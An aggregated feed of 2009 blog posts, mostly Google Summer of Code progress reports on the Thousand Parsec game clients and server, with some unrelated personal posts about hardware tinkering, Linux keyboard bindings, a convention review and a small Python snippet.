This also has come with the creation of a download panel, that shows and allows simultaneous downloads of files, as well as cancelling downloads.

Thousand Parsec download manager.

Thousand Parsec download manager.

The design window has been fixed up. Many buttons were non-functional, but they work now. Designs can be added, renamed, copied, deleted, and modified. Categories can also be chosen for designs, which was not possible in the past.

Design window with better sizing and category chooser.

Design window with better sizing and category chooser.

The objects without orders window has also been fixed to work with tp04.

There have been major improvements to the info panel. It used to just display text in a blob, about various properties of the object. Now, it dynamically generates fully-featured collapsible panels, with information, buttons, images, or any other content necessary to display the information about the object. This can be extended in the future, as well.

The info panel with media support.

The info panel with media support.

The orders panel, which hadn’t been working at all, is now fully functional – it also has support for multiple order queues on a single object, which was not possible in tp03.

The new Thousand Parsec orders panel that works with tp04.

The new Thousand Parsec orders panel that works with tp04.

Overall, tp04 is in good working shape. It’s got a few areas that could still use improvement, but I believe that it is ready for an initial release.

Analysis of Methods

There are many lessons to take away from this year’s GSOC project. Most good, in this case, but of course some room for improvement as well.

Mentorship

I believe that my success in the project was strongly related to the dedication of my mentor, Tim Ansell. He was consistently available and willing to give me advice and to review my changes, leading me down the right path (though always pushing me to figure out the solutions myself whenever possible, which I believe has given me more confidence in my problem-solving and cooperative programming skills), and regularly checking in on my progress.

Concrete goals

The progress itself was another important factor. I always knew what my goal was, in a precise and fully defined way, due to a combination of pre-planned goals that were worked out for my original proposal and a set of new goals that emerged along the way. With a weekly meeting to discuss progress, I always was able to clearly state a goal for the coming week and to measure my concrete movement towards it. This was very useful in providing me with an indication of where I was in the project at any point in time, and I felt like I was always getting somewhere, even when I spent a day just researching or scratching my head over the next problem.

Time tracking

I believe that I used time-tracking software to my advantage as well in this respect. I kept a desktop widget going to track my time spent on the project each day, which motivated me to work on Thousand Parsec to meet the daily time requirements I set for myself. The desktop time-tracker was always there, so I never could forget that I had work to do. There was a slight downside to this, of course – if I set a time goal that was too low, I would run the risk of feeling like I could stop when there was more work I could be doing. It’s harder to get lost in coding and just keep going when you can watch a clock. Fortunately, I was able to avoid this for the most part, and I got the work done on time.

Another aspect of the time tracking was that I made very frequent blog updates and met with my mentor fequently, showing progress each time. At first, I posted daily blog updates. Later, I posted every two or three days, but it was still more frequent than just once per week.

Code reviews

One very important aspect of my experience during this GSOC was that, early on, my mentor and I decided to have all of my code reviewed using the Rietveld code review software. This software allows the uploading of changesets to a webpage, with fancy diff and comment support, so every change can be monitored and commented before it’s finalized. I think that this was a wonderful way to improve my code, decreasing the risk of a bad patch or a change that could be considered too much of a hack, or even just a missed print statement or stylistic faux-pas. I think that using Rietveld has allowed me to create code that will last longer and be more finely tuned to the project’s needs.

Downsides of this approach

There are a few downsides to the approach that we took during this GSOC. It requires a great deal of time and effort from the mentor, who needs ot have a lot of patience and be willing to look over every aspect of the project as it happens. This can be too much to ask, in some cases. Additionally, the student must be willing to accept criticism and to consistently stick to the plan of constant status updates, This can be taxing, as some code reviews drag out into large numbers of revisions. However, I think that it ends in a better product, overall.

Where do we go from here?

Given all of this work during GSOC, it’s important to have a sense of the future. We don’t want this work to stop, obviously. There are still parts of the client that could be much better: the help system needs work, window configuration should save on exit and load on startup, and paths are not shown on the starmap. The most important thing is to release the new client, bringing it lots of bug reports and giving us an incentive to keep working. This will require some packaging, release notes, etc.

There are many possibilities with this new tp04 protocol, and the rulesets we have currently only scratch the surface. Now that the client can deal with the new features, I think there will be some more creative rulesets that take advantage of them. I hope to see the unique gameplay that can be developed with tp04 in the future.

I, personally, will be forced to spend more time working on school projects than on Thousand Parsec. I will hope to find some time, however, to work with the project in the future.

Overall Statistics

Total commits: 70
Total lines of code changed (approx.): 4805
Total hours spent on project (approx.): 256
Approx. hours per week, average: 22 hrs.

Per module

Commits per month to tpclient-pywx:
2009-08 Greywhind : 6
2009-07 Greywhind : 10
2009-06 Greywhind : 18
2009-05 Greywhind : 14
Total commits: 57
Total lines of code changed or added: 4329

Commits per month to libtpclient-py:
2009-08 Greywhind: 1
2009-07 Greywhind: 2
2009-06 Greywhind : 4
2009-05 Greywhind: 3
Total commits: 10
Total lines of code changed or added: 446

Commits per month to libtpproto-py:
2009-06 Greywhind : 1
2009-05 Greywhind: 2
Total commits: 3
Total lines of code changed or added: 30


by greywhind at August 20, 2009 05:27 AM

August 19, 2009

mhilmi - GSoC 2009

Judgement

I guess the Terminator warned us this time would be coming. Today I committed some of the new features in Parsek to KDE server. You can find a link to the repo here. Give it a try and let me know if you have any problems. Quickly after starting, you will realize this is still very much a work in progress. I guess I underestimated the complexities of building a game client and have failed to deliver all the originally planned features. I see the work done for GSOC as big step in the evolution of Parsek and it will allow me to continue developing Parsek into a premier Thousand Parsec client. Once the coming soon features described below are ready, I will be uploading the GSOC changes to the Thousand Parsec git repositories as well.

Current Features
Users can now connect to game servers, select games, join, and later disconnect cleanly.
A status manager responds to events from the protocol library.
A corresponding status widget displays connection status, server information, and game information.
A clock displays the time until end of turn (EOT) events.
A logger widget provides debugging and error messages. The logger is a implemented with a filterable model.
Users can view the game universe with the object viewer. The object viewer, tied to an object model, provides basic information about selected objects.

Bugs and Quirks
There remains several unresolved bugs that still need work.
1) The object viewer does not display the last modified time in proper format.
2) The object viewer does not correctly read the object type.
3) The EOT clock could be formatted in hh:mm:ss instead of just seconds.

Undelivered Feature Status
Starmap: The starmap is still a work in progress. The starmap will be tied to the object model. Basic drawing is functioning but still need to implement game object coordinate readings.
Messages: The basic backbone for the message system will be similar to the logger. This will be added later this week. The protocol functionality for messages is not yet implemented, but Parsek will be ready for message support.
Orders: As mentioned during the midterm report, this feature was removed from the project scope. I will start working on this after the object system is fully functioning.

Coming Soon
There are somethings not included in the current build. I will be adding these features over the next few days after a little more testing and proper integration. This includes a more robust object model with support for object parameters including resources. The object viewer interface will also be further improved to provide a better user experience. The object model behind the object viewer will be expanded with abstract type implementation and also work with orders, players, designs, and resources. In addition, a player viewer will added shortly. This will provide a display of the game’s player and later allow the user to send a message or read information about selected players. The chat system will be integrated with the logger and both will allow for filtering and sorting.

The next major feature coming soon is an overhauled main interface. The default dock widget system is ugly and the advantages it provides are minimal. This is a game, not an IDE, so I see little need to provide a fully modifiable window. The new main interface will display the game widgets in an organized and effective manner while working with low resolution displays. The target is to have Parsek function well on 800×600 displays. There will also be a splash window at the start which will allow user to connect to games. The connection manager will also include an account manager. A simple custom button interface will replace the traditional application menu.

Future Visions
Future plans include completion of the message system and the order system. I also plan on configuring Parsek to watch for changes in real time and display updates asynchronously instead of downloading all objects at each EOT. I will spend time working on the protocol library to complete support of some the important features still missing. I will try to complete my failed efforts to get the protocol library functioning on Windows by providing supporting network implementation. After the interface overhaul, I hope to extend Parsek to provide support for 3D graphics.

Screenshots

by Marwan Hilmi at August 19, 2009 03:05 AM

Cherez - GSoC 2009

Weekly update for July 18th

This week's work was mostly on the port of tpclient-pytext. The majority of this work was modifying the code to work with the new generator-style API. Besides this was  modifying the code to work with the new Object and Order implementations. This is still a little lacking, as the order insertion function hasn't been rewritten yet and the show function needs to be modified. I also discovered some older bugs with packing and unpacking DescStructures, which have been fixed.

by noreply@blogger.com (cherez) at August 19, 2009 12:59 AM

August 17, 2009

Cherez - GSoC 2009

Daily Update for August 16th

After some work, I got all the descriptions working. All that I need to do now is work on the Order and Message methods, but I'm too tired to function any longer, so those will have to be handled tomorrow.

by noreply@blogger.com (cherez) at August 17, 2009 03:03 PM

August 16, 2009

Landon - GSoC 2009

Torpedo Whoops!

Getting particle systems hammered down is finicky, case in point:

Torpedo Whoops!

by Landon at August 16, 2009 12:13 AM

August 14, 2009

Epyon - GSoC 2009

(Not so) final report

Time flies fast when you're having fun. GSoC is over, and I'm not finished -- that's a fact. But I'm not willing to finish -- that's another.

I didn't fully realize the sheer amount of work that the server needed. Let's face it -- there were many parts in it's code that were ages old. I am quite proud that this is not the case with the code currently in the refactor branch.

The ideas I suggested in the proposal are still valid, and I'm still sure that they are going to greatly benefit TP in general, however, during the few months of GSoC I understood that my main assignment was to bring the code base up to a nowday standard. In terms of my original goals, I admin -- I failed. But in terms of sheer changes, lines of code touched, and improvements made, I feel that I did a big amount of good work.

What has been done?

The most important work done is making the code "contemporary". Typedefs are used where applicable, the code uses STL to it's full power (powered up by a custom algorithms collection), all pointers are managed with shared_ptr and weak_ptr classes. Interfaces have been streamlined, many of the changes were directly injected into the 5 existing rulesets. Most important of all, hundreds of duplicate lines of code were removed, and the structure of the server was made more concise. Almost all Protocol-related classes now are descendants of a common ProtocolObject base class that handles many tasks on it's own. I also worked hard on grouping logical actions together, for example to handle frame processing only in distinct places -- this however needs more work. Also, see the midterm report, it handles some of the above changes in more detail.

What needs to be done?

There are a couple of things unfinished -- Order's are still passed via normal (non-shared) pointers, and there are a couple of standalone pointers dangling around. This wont take much time and will be done as soon as I come back from vacations.

Documentation is missing -- yeah, I promised that I'll do that, but seeing the amount and scale of changes that I needed to do, I decided that documenting the classes should wait until the server more or less stabilizes.

Compilation of optional parts -- some of the optional enhancements like avahi or mzscheme do not compile and weren't tested at all -- pushing them up to compilation state shouldn't take long, testing will take longer.

But most of all -- TESTING -- I'm pretty sure there are bugs in the server as it is now, probably plenty of them. Especially at the last weeks I kinda pushed testing away to at least accomplish the basic tasks of my original proposal. However, I fully commit myself to getting the stability needed to make the refactor branch the new head.

What is planned further?

Ideas from the original proposal are still valid, out of them I would especially like to implement ASIO, as I really want to learn it better. However as I see now, if ASIO would be the goal, it'd have to be a separate GSoC project, and considering the state that I saw the server in at the start it'd probably be a hack-fest in itself. Not to mention that the resulting implementation would be buggy as hell because the server is completely not ready for threading.

More integration of common code is also possible -- one of them is the barely started Manager base class, and ID list frame processing. However here there are a few more ideas that I'd love to do.

Most of the tasks in the bug tracker seem now trivial to do, I'll address them also (hey, I do wanna get that TP T-Shirt, and preferably another one for my girlfriend, because she likes the design ;>).

What would be really cool?

I'd like to see 0.5 of the protocol updated design that would allow for easier integration of common code -- separation of frames into classes that could be handled by the same processing code. However that's a very far wish-list, and wouldn't do much good if the server were to support legacy protocols (why do we need that anyway? There are not much games in progress now, are they?).

I'd also like to see most of the ruleset data stored in XML files. As for now, there is way too much code that just sets up strings in the code. On a further note, why not add lua support to the level that would allow creating a ruleset just with lua and XML?

Summary

It seems I'd like to be a TP-developer, at least until the server is up to date. Maybe I won't be able to commit as much time as you guys, but damn I'd like to see this server being top class ;).

by epyon at August 14, 2009 12:17 AM

August 11, 2009

AlanP - GSoC 2009

GSoC/TP Weekly Report (July 4-Aug 10)

This Week:

Back in Canada and rocking it.  I have completed the first version of the MTSec combat engine.  It supports fleet-to-fleet and fleet-to-planet combat.  When you take over a planet, shouldn’t you gain control of it without having to colonise it?  That’s a question I will be deciding soon, I think that it may be beneficial to let the winning fleet take over the planet!

Next Week:

So, I guess this is almost it with about a week left.  I hope to clean up the code base pretty quickly and then dive back into more MTSec ruleset-based stuff.  I would prefer to work more on the ruleset than cleaning up and documentation — but of course these components are greatly needed as well!  Lee mentioned that I should have used battlexml for the combat, I definitely need to look into this more — unfortunately it will probably happen after the GSoC period. I have to say, I played a few rounds of MTSec and it is a lot more fun than minisec so far.  I hope that after a good cleanup (and likely some bug fixes) we can get this thing commited to master!

Share/Bookmark

by alanp at August 11, 2009 08:19 AM

August 08, 2009

mhilmi - GSoC 2009

Yaaaaa!

Parsek’s object tree is now functioning. There is still a lot of work to do to clean it up, make it look nice etc but the overall functionality is now there and works. I’ll be adding a seperate widget that popups when a selection is made in the tree and displays the object’s full information, instead of trying to embed it all in the tree’s columns.

Have a look at the screenshot! The tree hierachy matches tpclient-pywx with the exception that lone objects who’s parent are the galaxy (after they have left a system) are all listed at the bottom, instead of underneath their old parent system.

Parsek's Object View

Yay! So I’ll be adding more features to this as well as hopefully getting the starmap in place (now that I know the information from the data model is loaded correctly) in the next few days. Once all the bugs are fixed in the object tree, I’ll add it to the KDE svn branch.

by Marwan Hilmi at August 08, 2009 11:12 PM

August 07, 2009

tote - GSoC 2009

New update

Its not an easy task to post a blog post every 2-3 days, but here is another update atleast. So what can you do after this 5 days? You can create all orders that only contains arguments that are position or time based. That means that you for example can post No-operation and Move orders. You can also update the same type of orders. And you can remove all type of orders. There were a few problems when working this week. It wasn’t easy to get remove and update orders to work as I work from a different type of model. In the python client (tpclient-pywx) you have access to all objects and can use them whenever. But I use an http model and need to convert the objects to json and send them to the javascript frontend where the user does something (remove, update etc) and then send the data back and convert it into python objects and then use the libtpproto-py functions. But I managed to get it working by using a few hacks to make sure that ints and strings was passed around correctly.

The next thing to work on is doing List, Object, String based arguments so all possible orders may work with the webclient. These arguments seem to work a little different but I should able to get it to work pretty fast as the structure is there now and there is just a matter of adding the arguments. The problem I might have is to convert for instance whole objects and sending them over http. But from what I can see (did some research earlier) it shouldn’t be impossible :P

Thats it for today, more work tomorrow as its not much time left on GSoC.

by admin at August 07, 2009 11:47 PM

August 06, 2009

Landon - GSoC 2009

I'm not a programmer, I just like to debug a lot

While I was testing out torpedoes (new weapon with a heavy particle effects bent!) I noticed several things had become broken wrt basic use of the battleviewer. :( So today I've been debugging and cleaning those right up.

Also, here's my latest youtube video:

by Landon at August 06, 2009 05:22 AM

August 03, 2009

tote - GSoC 2009

Microupdate 2

In the last post I worked on a prototype. The prototype I wrote was for the backend and how to send orders correctly to TP-servers. During Wednesday I worked with getting the interface/frontend to show a create order dialog. And on Thursday I got it all to working with sending a simple move order and commited it to the tp-git. On friday I worked a bit with the interface because it was really simple in the first commit. I also added the ability to select current orders and display a form for update and delete. The next thing I’m gonna do on Monday is to add the ability to update and remove orders in the backend. After that I will work on getting more orders to work in the interface.

by admin at August 03, 2009 09:44 AM

August 02, 2009

Landon - GSoC 2009

August 01, 2009

Landon - GSoC 2009

Particle Effects!

The past few days I've been working on particle effects. So far I have effects suitable for:
  • Laser firing
  • Engine trails
  • Warping in

I still need to work one out for explosions, but that shouldn't be too hard. Right now though, I'm working on getting the engine trails in place and firing properly when move events occur. There was a heck of a bug where the trails would show up on top of everything, but that was caused by a bad .material file for the flare texture I was using. Now it's just down to per-ship placement, which only needs to be done for the frigate's model now (6 seperate trails, urgh.) This has been taking a little longer than I wanted, but now that I know what's going on with particles, I should have a majority of this stuff done over the weekend and be able to focus on the other prettifying aspects of the client!

by Landon at August 01, 2009 12:32 AM

July 29, 2009

Landon - GSoC 2009

Battleviewer Video Two!

Short post here, this is just to show off the new video:

by Landon at July 29, 2009 07:56 AM

July 27, 2009

Landon - GSoC 2009

Time for an overdue blog post

Has it really been almost 10 days since my last blog post? What a hectic week.

To start off, I've worked and worked and worked on collision detection. It works now! In theory you can now have 20 frigates all jostling each other for the right to be at spot (0,0,0)

Aesthetic improvements? I've finally bit the bullet and split the battleviewer up into several files from its previous monolithic .py file setup.

Actionwise? Hitting next round actually queues up the correct rounds events now instead of reusing round 1 over and over and over again.

Oh, and now you can select the XML file you want to load at startup with the -f/--file option on the command line

This week I'm going to (looks at task chart), split up the scope of the viewer even more to accomodate reloading in-viewer, find a way to highlight the current event going on, and check into borrowing overlays from the main 3d client to represent damage with (oh, that reminds me, I need to look into particle effects too!)

by Landon at July 27, 2009 11:38 PM

July 26, 2009

Landon - GSoC 2009

July 25 Update

A blog post talking about the past few days of work should be up here sooner or later, unless I pass out at the keyboard again.

by Landon at July 26, 2009 09:43 AM

July 19, 2009

Landon - GSoC 2009

July 18 Update, Collisions ahoy!

Since my last update, I've:

  • Changed the controls from buttons to StaticImages which are mostly transparent (looks great!)
  • Revamped the progression system so that it moves by events now, which have the option of delaying the progression if they need to take a while (such as more elaborate Fire events might in the future or Move events.)
  • Finished collision detection just far enough to notice that there is a much much better way to be doing that I will try to implement on Sunday or Monday. Right now I loop through and check all entities against the moving entity and if their spheres overlap I give the obstacles a push so they drift around the side. Kudos if you can name the immediate problems with this. One: Hackish. Two: Since drifting back to their original position is also treated as a sort of Move event, the obstacle and moving ship will push each other around until one drifts over to the side and they snap into place. The improvement I'm looking at is using Ogre's intersection queries so ee if any bounding boxes are overlapping and then do a check against their bounding spheres. I have also found a way to set certain flags on objects so I can exclude all objects moved by actual Move events and give them the priority when it comes down to moving obstacles out of the way. Other than that though, the function to bounce the obstacle back will be the same and translate it back so the spheres are not overlapping anymore.
  • I've also done a little preliminary work on loading other battlexml files, but this one is puzzling me and may require more of a rewrite than I'm comfortable with. Unless of course I ask in the command line, but who would want that?

by Landon at July 19, 2009 03:25 AM

July 18, 2009

ezod - GSoC 2008

Thoughts in Kaoss

Yesterday, I spent the afternoon implementing the KMod hack on my Kaossilator thanks to a most excellent set of instructions. I used a DE-9 male connector, so I actually have 2 pins free for potential future additions (I wonder if I can cram something in there to output a MIDI-compatible tempo clock signal based on whatever is driving the little dot on the display).

I have plans for two things to plug into it now.

The first will be a simple little stub that just sits in the connector, with a 47K resistor and a switch in series between the SUO and SUI pins. I'll make this as small as possible, and leave it attached most of the time for a portable sustain switch.

The second is my ambitious external control box. I'll start with a basic set of buttons and toggle switches that control all the on-board functionality, including single buttons/switches for combos like key, loop length, and erase.

Next, I'm going to look into the feasibility of adding a port and circuit to allow some kind of synchronization from an external MIDI clock signal (probably not a huge deal, but I don't yet know anything about MIDI really). This will be useful for syncing up with my x0xb0x, whenever I finish building it.

Finally, and most interestingly, I want to control functionality via my USB Boarduino. I'm going to develop a GUI application in Python (working title Kaosslab) that lets me do some really cool stuff. One tantalizing exampe is tempo-synchronized recording of loops (by having Kaosslab activate the loop button and record for the appropriate amount of time based on user-supplied tempo).

I also recently put up Kaossilator Fu on my web site. I'm working on populating it with every Kaossilator tip, trick, and hack I can find, as well as some videos of phat Kaossilator jams (like this one and this one and this one).

July 18, 2009 03:29 PM

July 15, 2009

Landon - GSoC 2009

July 14, Minor Improvements

Today I've been working on revamping the laser system so it works smoothly with the round progression ( I never noticed that if you go forward to a fire event and then back up, the laser will still be there... d'oh! ) As an added bonus, ALL of the lasers in one round are shown!

The next few things I'm going to be getting done before bashing my head against the collision problem include icons for the control buttons, choosing a BattleXML file to load, and possibly getting ship textures fixed/replacing ships!

by Landon at July 15, 2009 04:52 AM

July 14, 2009

Landon - GSoC 2009

Bounding Spheres and Springy Things - July 13 Update

Today I was able to make it so that Entities will float back to their intended position if pulled away (or hopefully in the future, pushed away by a collision.) However, working out collisions is turning out to be much more finicky than I thought. I can find out if one Bounding Sphere intersects another, but not by how much. The formula (radius_one+radius_two)-distance should give me the overlap, but instead it keeps giving me a constant! I'll tackle this in the morning and hopefully have a lot more cool things to show tomorrow, like a video!

by Landon at July 14, 2009 10:18 AM

July 12, 2009

Epyon - GSoC 2009

Mid-term report

Time to take a brief pause and take a look at the progress so far, and especially the road ahead.

What has been done

  1. Documentation - partial doxymentation has been done. However in the core functionality classes I decided to postpone this step for later - functions disappear and change functionality, so things aren't yet stable enough.
  2. Code style - reformatting of whitespace is done on a file-worked-on basis. Renaming of variables to more readable is done where needed. Some whitespace is also added for added readability.
  3. Typedefing - all built-in type STL containers (e.g. set of uint32_t) are now typedefed. FrameType and other enums are used where applicable, connection status is an enum. Some of the other containers are also typedefed, some are still left - usually in places where another refactoring is planned.
  4. Code cleanup - a lot of unused/unneccessary code was removed. A *lot* of duplicate code was moved into common places (mysqlpersistence lost almost 100kb of code!)
  5. Baseclassing - a hierarchy of basic base classes has been introduced and intergated almost everywhere where applicable : Identifiable, Nameable, Describable, Modifiable, Packable. Two fully traited classes have been introduced : ProtocolObject and ProtocolView. Integration has allowed removal of a lot of copy-paste code, and the possibility of starting refactoring using basic class traits.
  6. Network code - there was a big mess in the connection classes. I changed the inheritance tree what allowed a huge removal of duplicate code between the same functionalities.
  7. Messages - message and message board code was highly rewritten, moved to shared pointers and reorganized
  8. Exception handling - started work on using exceptions instead of error codes, created two base exception classes. More work to be done.
  9. Frame handling - frame's can pack now complex structures themselves.
  10. *View refactoring - ProtocolView base class, and major PlayerView refactoring done.
  11. STL usage - in many places correct STL usage has been introduced.

What hasn't been done and why

  1. Modularization - I was explicitly asked not to rename and move files, however, in the last weeks I'll post a suggestion of reorganization/modularization to the developer list to be put under discussion.
  2. ASIO - lack of time.
  3. Several unfinished items from the list above

Generally once I took a serious dive into the code, it turned out that there are a lot of places in the code that could use a cleanup. I'd rather invest time to do that properly and orderly than rush ASIO in.

What will be done next

I allow myself the liberty of throwing ASIO out of the first half of the project, and restructuring the plan to the fact that Phase 1 takes a whole half of the project. With this revised plan, I am of course still a little behind schedule because of the unfinished things in Phase 1. I consider that as a list of things to be invested with additional time. That leaves us with Phase 2, Phase 3 and Phase 4 for the rest of the project. I'd like to receive feedback as of what should be the priorities here, as I won't be able to push in all three phases into the rest of the program, at least in the GSoC timeline.

Current initial plan is to finish up Phase 1, move to Phase 3 (with a priority on shared pointer transition) then moving back to implementation of Phase 2. If time is left (what I doubt) I'll move to elements of Phase 4.

by epyon at July 12, 2009 01:54 AM

June 22, 2009

ezod - GSoC 2008

Rollerblade Odometer

I want a pair of rollerblades that, using simple technology (no GPS), can fairly accurately report to me how far I've traveled. I want an odometer readout that I can reset before each trip. How can this be accomplished?

Add rotary encoders to the front and back wheels on the skate. We want the frictionless optical tachometer type; the direction of motion is irrelevant (picture someone skating backwards, for example). We can obtain a fairly accurate measure of the distance traveled by the skate by always recording the angular displacement of the faster-turning wheel. This can be accomplished by having each encoder increment its own small counter (say, a 4-bit one). When one of the counters overflows, it sends a signal to a large main counter and clears both small counters. The large counter is enabled by a pressure switch (maybe a piezoelectric sensor with a threshold for binary output) able to determine that the skate is in fact contacting the ground. At this point, assuming we've been intelligent about the encoder pitch relative to the wheel size, and done the appropriate trickery in the counting logic, we have a skate that can accurately measure its own ground distance traveled in some useful unit.

The major issue now is that both skates are sometimes, but not always, contacting the ground, and there is no way to know a posteriori, when observing the results, how much overlap to subtract. I don't want to introduce any concept of time into this design, so what we need is some way for one of the skates to know whether the other is contacting the ground. We can accomplish this by having the pressure switch on the left skate enable an RF transmitter, with a simple structured signal that a receiver on the right skate can robustly identify. The receiver can then disable the counter on the right skate while the left skate is transmitting. Now, totalling the large counters in both skates should yield a fairly accurate total ground distance traveled.

However, as a human being, I can't tell what is in those counters, and even if I could, I wouldn't want to have to add them up in my head. We can add a button to the left skate that triggers a different RF transmission to the right which encodes its counter value and then resets it. The receipt of this signal on the right skate prompts it to add the value to its counter register and show the value on an LED display for a few seconds. This can be done repeatedly, since the left skate is just dumping its current counter value into the right skate each time, where the total is retained. The corresponding button on the right skate would simply reset its counter.

Some issues for further consideration:

  • Since the transmissions are one-way, the signal needs to be robust. We also assume that the rollerblades are both powered and in proximity to one another.
  • Power management. Should the skates power off after a period, and power on via the pressure switch? We likely want the main counter registers to be non-volatile.
  • Pressing a button on the left skate to activate a display on the right skate seems somewhat awkward from a user perspective.
I really ought to be doing more important things...

June 22, 2009 01:25 AM

May 25, 2009

Mithro rants about stuff

Starhunter, Firefly’s little known older cousin.

Tulip - The ship from Starhunter

I have recently been watching and really enjoying a little known series called Starhunter. At first I thought it was an enjoyable rip off of Firefly, so i was surprised to find out that it was made first.

It has so many of the same elements, the quirky ship mechanic, the captain who doesn’t play by the rules with a darker background, raiders, etc. I have no doubt that Joss Whedon stole many the ideas for Firefly from this series and in the process improving on them in many ways. Sadly, like Firefly this series was canceled way before it reached a wide audience.

You can watch the “second season” (Starhunter 2300), which is closer to a spin off  rather then a second season (most of the characters have changed), on Youtube. I would highly recommend people who enjoyed Firefly check it out. Since its free, what have you got to loose?

While the first season is available on Joost, it is apparently horrible mangled. Sadly, the DVD’s are not available here in Australia so I’m going I’m going to have to buy them from Amazon.

by mithro at May 25, 2009 02:35 PM

May 07, 2009

ezod - GSoC 2008

Penguicon The Seventh

Like Xavier, I came back from Penguicon 7.0 this weekend to a mountain of work. Now I'm going to walk and talk like him (minus the epic growl) -- guess that means I look like someone else here -- and give my review.

The highlight was certainly the party. Friday night was phenomenal, Saturday night even more so. Where else can you be waylaid by a pirate ship at the top of the hotel lobby stairs, and told to drink rum and walk the plank to join the crew? Best Penguicon yet, on this basis. You have to be there to know.

The panels were good this year too, as usual. We could have attended a few more if it hadn't been for a certain WTF line. Here are my thoughts on the ones I did catch:

Sustainable Computing (Jon "maddog" Hall)

A great forward-looking keynote by maddog. He deftly connected the idea of scalable distributed mesh networking for cities with providing free Internet access to kids (a la OLPC, but with fewer technical challenges), with benefits to everyone else too, and with environmental sustainability. And, naturally, he gave some highly compelling arguments as to why the sensible thing to do is use free software to implement it. A

Wil Wheaton Reading (Wil Wheaton)

Ensign Crusher, report to Penguicon. Ensign Crusher? Ensign Crusher, respond! F

Open Hardware Overview (W. Craig Trader)

A brief introduction to "open source" hardware. A big chunk of the talk was devoted to a few examples, which was surely a yawn-fest for anyone who reads hardware hacking feeds. The more interesting parts of the talk were the breakdown of the board prototyping process and the explanation of how projects apply licenses like Creative Commons to hardware design. A bit pedestrian, but not bad. B

Beginning Pygame Programming (Craig Maloney)

To be fair, I was very much looking forward to this one, so it had a lot to live up to. The talk consisted entirely of showing various stages of development of a Pong game demo. Much time was spent figuring out which revisions would actually run (blind commits are evil). A reasonable amount of Pygame functionality was used, but there could have been more explanation. Good concept, but tighter implementation necessary. C

Open Hardware with Arduino (W. Craig Trader)

This talk really made me wonder why Trader spent so much time talking about the Arduino platform in his previous talk. My main complaint is that he didn't really contrast the advantages of the Arduino against other microcontrollers and evaluation boards, which probably left most people with a somewhat distorted perception. More original content, such as some clever uses and maybe a non-trivial demo, would have been nice as well. There was lots of good information about existing projects and add-on devices. I'll give it a pass because it got the others interested. C

Rule-Based Programming in Interactive Fiction (Andrew Plotkin)

As an engineering grad student, I'm quite used to dry technical seminars, but I want Penguicon to entertain me more. That aside, awesome talk! I hadn't really thought about how awkward it must be to program IF in an object-oriented programming language until this talk. Very interesting concept about how to attack the problem with a rule-based syntax model. Some of it brought to mind aspect-oriented programming. Bonus: Andrew really likes to talk about heads exploding. B

Looking forward to Penguicon 8.0! I'm hoping to get my Thousand Parsec talk in this time.

May 07, 2009 02:37 PM

May 05, 2009

ezod - GSoC 2008

How Random

A Python function that returns a random subset of size n from set s.

from random import randint

def random_subset( s, n ):
    if len( s ) < n:
        raise ValueError, ( "Subset larger than input set" )
    l = list( s )
    r = set()
    for i in range( n ):
        r.add( l.pop( randint( 0, len( s ) - i - 1 ) ) )
    return r

I'm dealing with fairly small sets, so this may not be the most computationally efficient way to do it.

May 05, 2009 10:08 PM

April 05, 2009

ezod - GSoC 2008

Das Komputermaschine Ist Fur Der Gefingerpoken

A good friend of mine recently tossed me some computer parts, including an HP illuminated multimedia USB keyboard (model SK-2565, part no. 5185-2027). Since I had been looking to replace my old keyboard (a $10 PS/2 job that I turned into a k-rad all-black cowboy deck with blank keys), and had been suffering from an inability to control my PCM volume or music from the keyboard without launching alsamixer or mocp respectively, a particularly acute problem when playing StarCraft, I found herein an opportunity.

HP SK-2565 USB Keyboard


This keyboard has nineteen buttons and one knob across the top. In order, they are (or look like) sleep, help, HP, printer, camera, shopping, sports, finance, web (connect), search, chat, e-mail, the five standard audio buttons (stop, previous, play/pause, next, load), a volume knob, mute, and music. Since the keyboard was furry enough to qualify as a mammal upon receipt, the first thing I did was clean it, a process which spanned several hours (though the process was niced down somewhat). The previous two sentences are related: the top buttons also happen to be built in such a way as to require utterly complete disassembly of the keyboard to remove and replace, and I am ashamed but not at all surprised to say I got the replacing part wrong. The play/pause button is now swapped with the previous button. And I am totally not taking this thing apart again any time soon.

But it is for the best! After figuring out sometime later that I had goofed, I decided (Daniel Gilbert, this one's for you) that I liked it better this way anyway. Which is perfectly fine, of course, since I'm about to get to the good part: how I made my HP illuminated multimedia USB keyboard special upper buttons work in Linux, using Xmodmap, and in awesome, using rc.lua.

Turns out it's extremely easy to bind arbitrary keycodes to keysyms (a full list of which can be found in /usr/share/X11/XKeysymDB), at least using GDM. By default (on Gentoo), GDM loads /etc/X11/Xmodmap, as specified by the sysmodmap setting in /etc/X11/gdm/Init/Default. Mine now looks like this:

keycode 223 = XF86Sleep
keycode 197 = XF86Shop
keycode 196 = XF86LightBulb
keycode 195 = XF86Finance
keycode 194 = XF86WWW
keycode 229 = XF86Search
keycode 121 = XF86Community
keycode 120 = XF86Mail
keycode 144 = XF86AudioPlay
keycode 164 = XF86AudioStop
keycode 160 = XF86AudioMute
keycode 162 = XF86AudioPrev
keycode 153 = XF86AudioNext
keycode 176 = XF86AudioRaiseVolume
keycode 174 = XF86AudioLowerVolume
keycode 118 = XF86Music


And now, the answers to all your questions:

  1. I figured the keycodes out by running xev and banging on the buttons.

  2. XF86LightBulb is the closest thing I could find to "sports" that wasn't already taken.

  3. The volume knob "clicks" and sends a keycode 176 or 174 depending on the turn direction.

  4. I did not map help, HP, printer, or camera because they do not appear to generate keycodes.

  5. I did not map audio load because I forgot. I will do it when I can think of an action to bind it to.

The next step was to make these keys actually do something in my window manager. Bindings are pretty easy to make in /etc/xdg/awesome/rc.lua. Without getting into too much detail, I bound keys to things. I am particularly impressed with how I can control audio via amixer, and my MOC playlist via commands without even having the interface open. Another bonus is the sleep button running xlock. Here's a sample line:

key({ }, "XF86LightBulb", function () awful.util.spawn("starcraft") end),

A particularly nice one is the search button, which runs the following script (be nice, my bash-fu is rusty):

#!/bin/bash
Q=`zenity --entry --width 600 --title="Google Search" --text="Google search query:"`
if [[ "$Q" != "" ]]; then
EQ=`echo $Q | sed s/\ /\%20/g`
firefox http://www.google.ca/search?q=$EQ
fi


I frequently say that if I took one thing home from working in the automotive sector, it was Kaizen.

April 05, 2009 02:13 AM

April 02, 2009

Thousand Parsec News

Stand on the shoulders of giants, students wanted!

As you probably read from my previous post, Thousand Parsec had quite a successful Summer of Code last year. Unlike previous years, where we have concentrated on getting new stuff developed, this year we have decided to concentrate on building on the work of our previous years students. This is a great way to learn that important skill of working on other people's code.

